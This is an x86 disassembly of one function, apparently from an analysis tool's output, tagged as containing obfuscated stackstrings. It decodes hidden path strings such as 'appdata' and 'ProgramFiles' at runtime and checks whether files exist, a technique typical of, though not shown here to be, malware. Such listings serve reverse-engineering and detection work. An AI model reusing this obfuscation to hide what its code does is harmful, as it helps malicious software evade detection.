Function at 0x4307d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453d8d
call fcn.004534f4
sub esp, 0x214
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x58], ecx
xor ebx, ebx
mov dword [ebp - 0x54], ebx
and dword [ebp - 4], ebx
mov al, 0x76
mov dword [ebp - 0x25], 0x726f4c76
mov dword [ebp - 0x21], 0x726f606b
mov word [ebp - 0x1d], 0x6772
mov byte [ebp - 0x1b], bl
xor edx, edx
mov dword [ebp - 0xb4], edx
cmp edx, 9
jae 0x430845
movsx ecx, al
and ecx, 0x8000000f
jns 0x43082f
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x24]
sub al, cl
mov byte [ebp + edx - 0x24], al
inc edx
mov dword [ebp - 0xb4], edx
mov al, byte [ebp - 0x25]
jmp 0x43081a
mov byte [ebp - 0x1b], 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x1a4]
call fcn.0040bc98
movaps xmm0, xmmword [0x407c90]
movups xmmword [ebp - 0x10b], xmm0
mov word [ebp - 0xfb], 0x4849
mov byte [ebp - 0xf9], 0
xor ecx, ecx
push 0x11
pop esi
mov dword [ebp - 0xb8], ecx
cmp ecx, esi
jae 0x43089c
mov al, byte [ebp + ecx - 0x10a]
xor al, byte [ebp - 0x10b]
mov byte [ebp + ecx - 0x10a], al
inc ecx
jmp 0x43087b
mov byte [ebp - 0xf9], 0
push 0x5c
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x1d4]
call fcn.0043daf1
lea ecx, [ebp - 0x10a]
push ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.00417bac
lea ecx, [ebp - 0x1d4]
call fcn.0040bc59
movaps xmm0, xmmword [0x408100]
movups xmmword [ebp - 0x142], xmm0
mov byte [ebp - 0x132], 0
xor edx, edx
mov dword [ebp - 0xbc], edx
cmp edx, 0xf
jae 0x43091e
movsx ecx, byte [ebp - 0x142]
and ecx, 0x8000000f
jns 0x43090b
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x141]
sub al, cl
mov byte [ebp + edx - 0x141], al
inc edx
jmp 0x4308ec
mov byte [ebp - 0x132], 0
push 0x5c
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x1bc]
call fcn.0043daf1
lea ecx, [ebp - 0x141]
push ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00417bac
lea ecx, [ebp - 0x1bc]
call fcn.0040bc59
mov dl, 0x1f
mov dword [ebp - 0x1a], 0x6f6f7e1f
mov dword [ebp - 0x16], 0x7e6b7e7b
mov byte [ebp - 0x12], 0
xor ecx, ecx
mov dword [ebp - 0xc0], ecx
cmp ecx, 7
jae 0x43098e
mov al, byte [ebp + ecx - 0x19]
xor al, dl
mov byte [ebp + ecx - 0x19], al
inc ecx
mov dword [ebp - 0xc0], ecx
mov dl, byte [ebp - 0x1a]
jmp 0x430973
mov byte [ebp - 0x12], 0
push 0x5c
lea eax, [ebp - 0x19]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.0040bc98
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.00417ca3
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
or ebx, 1
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x18c]
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0x1bc]
call fcn.0043daa7
push eax
call fcn.0041c1db
push 2
pop edi
test al, al
jne 0x430a18
or ebx, edi
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x174]
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0xf8]
call fcn.0043daa7
push eax
call fcn.0041c1db
test al, al
mov byte [ebp - 0x11], 0
je 0x430a1c
mov byte [ebp - 0x11], 1
test bl, 2
je 0x430a32
and ebx, 0xfffffffd
mov dword [ebp - 0x54], ebx
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
test bl, 1
je 0x430a48
and ebx, 0xfffffffe
mov dword [ebp - 0x54], ebx
lea ecx, [ebp - 0x1bc]
call fcn.0040bc59
cmp byte [ebp - 0x11], 0
je 0x430b29
mov eax, dword [ebp - 0x58]
mov byte [eax + 0x3e3], 1
lea esi, [eax + 0x3b0]
lea eax, [ebp - 0x1a4]
push eax
mov ecx, esi
call fcn.004439d9
lea eax, [ebp - 0x18c]
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0xf8]
call fcn.0043daa7
push eax
call fcn.0041c1db
mov bl, al
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
test bl, bl
je 0x430acb
lea eax, [ebp - 0x18c]
push eax
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0xf8]
call fcn.0043daa7
push eax
mov ecx, esi
call fcn.00443981
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
lea eax, [ebp - 0x174]
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0xf8]
call fcn.0043daa7
push eax
call fcn.0041c1db
mov bl, al
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
test bl, bl
je 0x430b26
lea eax, [ebp - 0x174]
push eax
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0xf8]
call fcn.0043daa7
push eax
mov ecx, esi
call fcn.00443981
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
push 0x11
pop esi
movaps xmm0, xmmword [0x407ad0]
movups xmmword [ebp - 0x11e], xmm0
mov word [ebp - 0x10e], 0x5e41
xor ebx, ebx
mov byte [ebp - 0x10c], bl
mov ecx, ebx
mov dword [ebp - 0xc4], ecx
cmp ecx, esi
jae 0x430b6b
mov al, byte [ebp + ecx - 0x11d]
xor al, byte [ebp - 0x11e]
mov byte [ebp + ecx - 0x11d], al
inc ecx
jmp 0x430b4a
mov byte [ebp - 0x10c], bl
lea eax, [ebp - 0x11d]
push eax
lea ecx, [ebp - 0xb0]
call fcn.0040bc98
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
cmovae eax, dword [ebp - 0xb0]
push eax
call fcn.004494dd
pop ecx
test eax, eax
jne 0x430c3f
mov dl, 0x18
mov dword [ebp - 0x4e], 0x776a4818
mov dword [ebp - 0x4a], 0x75796a7f
mov dword [ebp - 0x46], 0x7d74715e
mov word [ebp - 0x42], 0x6b
mov ecx, ebx
mov dword [ebp - 0xc8], ecx
cmp ecx, 0xc
jae 0x430be6
mov al, byte [ebp + ecx - 0x4d]
xor al, dl
mov byte [ebp + ecx - 0x4d], al
inc ecx
mov dword [ebp - 0xc8], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x430bcb
mov byte [ebp - 0x41], bl
lea eax, [ebp - 0x4d]
push eax
call fcn.004494dd
pop ecx
test eax, eax
je 0x430c66
mov dl, 0x5a
mov dword [ebp - 0x40], 0x35280a5a
mov dword [ebp - 0x3c], 0x373b283d
mov dword [ebp - 0x38], 0x3f36331c
mov word [ebp - 0x34], 0x29
mov ecx, ebx
mov dword [ebp - 0xcc], ecx
cmp ecx, 0xc
jae 0x430c37
mov al, byte [ebp + ecx - 0x3f]
xor al, dl
mov byte [ebp + ecx - 0x3f], al
inc ecx
mov dword [ebp - 0xcc], ecx
mov dl, byte [ebp - 0x40]
jmp 0x430c1c
mov byte [ebp - 0x33], bl
lea eax, [ebp - 0x3f]
jmp 0x430c53
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
cmovae eax, dword [ebp - 0xb0]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.0041265f
movaps xmm0, xmmword [0x4079c0]
movups xmmword [ebp - 0x131], xmm0
mov word [ebp - 0x121], 0x3340
mov byte [ebp - 0x11f], bl
mov edx, ebx
mov dword [ebp - 0xd0], edx
cmp edx, esi
jae 0x430cb6
movsx ecx, byte [ebp - 0x131]
and ecx, 0x8000000f
jns 0x430ca3
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x130]
sub al, cl
mov byte [ebp + edx - 0x130], al
inc edx
jmp 0x430c85
mov byte [ebp - 0x11f], bl
lea edx, [ebp - 0x130]
lea ecx, [ebp - 0xb0]
call fcn.00412c2f
test al, al
jne 0x430e67
movaps xmm0, xmmword [0x407d10]
movups xmmword [ebp - 0x7a], xmm0
mov dword [ebp - 0x6a], 0x71786348
mov dword [ebp - 0x66], 0x67766b74
mov dword [ebp - 0x62], 0x63663075
mov word [ebp - 0x5e], 0x76
mov edx, ebx
mov dword [ebp - 0xd4], edx
cmp edx, 0x1c
jae 0x430d26
movsx ecx, byte [ebp - 0x7a]
and ecx, 0x8000000f
jns 0x430d19
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x79]
sub al, cl
mov byte [ebp + edx - 0x79], al
inc edx
jmp 0x430cfd
mov byte [ebp - 0x5d], bl
lea eax, [ebp - 0x79]
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x1ec]
call fcn.00417b5f
push eax
call fcn.0041c1db
mov bl, al
lea ecx, [ebp - 0x1ec]
call fcn.0040bc59
test bl, bl
je 0x430e67
mov eax, dword [ebp - 0x58]
mov byte [eax + 0x3e4], 1
lea esi, [eax + 0x3b0]
push dword [ebp + 8]
mov ecx, esi
call fcn.004439d9
push 0x11
pop eax
mov byte [ebp - 0x32], al
mov dword [ebp - 0x31], 0x6f6a585d
mov dword [ebp - 0x2d], 0x2f717567
mov dword [ebp - 0x29], 0x756265
xor edx, edx
mov dword [ebp - 0xd8], edx
cmp edx, 0xb
jae 0x430dc1
movsx ecx, al
and ecx, 0x8000000f
jns 0x430dab
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x31]
sub al, cl
mov byte [ebp + edx - 0x31], al
inc edx
mov dword [ebp - 0xd8], edx
mov al, byte [ebp - 0x32]
jmp 0x430d96
mov byte [ebp - 0x26], 0
lea eax, [ebp - 0x31]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x21c]
call fcn.00417b5f
mov ebx, eax
movaps xmm0, xmmword [0x4076d0]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0x18011631
mov dword [ebp - 0x84], 0x12031e05
mov dword [ebp - 0x80], 0x16135904
mov word [ebp - 0x7c], 3
xor ecx, ecx
mov dword [ebp - 0xdc], ecx
cmp ecx, 0x1c
jae 0x430e2c
mov al, byte [ebp + ecx - 0x97]
xor al, byte [ebp - 0x98]
mov byte [ebp + ecx - 0x97], al
inc ecx
jmp 0x430e0a
mov byte [ebp - 0x7b], 0
lea eax, [ebp - 0x97]
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x204]
call fcn.00417b5f
push ebx
push eax
mov ecx, esi
call fcn.00443981
lea ecx, [ebp - 0x204]
call fcn.0040bc59
lea ecx, [ebp - 0x21c]
call fcn.0040bc59
lea ecx, [ebp - 0xb0]
call fcn.0040bc59
lea ecx, [ebp - 0x15c]
call fcn.0040bc59
mov dword [ebp - 0xe0], edi
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x5c], eax
lea esi, [ebp - 0x15c]
mov dword [ebp - 0x5c], esi
mov eax, edi
dec edi
mov dword [ebp - 0xe0], edi
test eax, eax
je 0x430eb1
sub esi, 0x18
mov dword [ebp - 0x5c], esi
mov ecx, esi
call fcn.0040bc59
jmp 0x430e95
lea ecx, [ebp - 0x1a4]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4